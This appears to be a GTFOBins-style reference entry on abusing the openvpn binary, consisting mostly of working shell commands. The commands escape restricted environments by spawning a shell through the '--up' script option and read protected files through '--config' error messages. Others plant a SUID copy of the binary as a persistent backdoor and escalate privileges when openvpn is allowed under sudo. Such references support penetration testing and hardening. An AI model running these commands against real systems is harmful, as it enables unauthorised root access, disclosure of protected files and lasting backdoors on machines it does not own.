It can be used to break out from restricted environments by spawning an interactive system shell.
openvpn --dev null --script-security 2 --up '/bin/sh -c sh'It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.
The file is actually parsed and the first partial wrong line is returned in an error message.
LFILE=file_to_read
openvpn --config "$LFILE"If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run sh -p, omit the -p argument on systems like Debian (<= Stretch) that allow the default sh shell to run with SUID privileges.
This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.
sudo install -m =xs $(which openvpn) .
./openvpn --dev null --script-security 2 --up '/bin/sh -p -c "sh -p"'The file is actually parsed and the first partial wrong line is returned in an error message.
sudo install -m =xs $(which openvpn) .
LFILE=file_to_read
./openvpn --config "$LFILE"If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.
sudo openvpn --dev null --script-security 2 --up '/bin/sh -c sh'The file is actually parsed and the first partial wrong line is returned in an error message.
LFILE=file_to_read
sudo openvpn --config "$LFILE"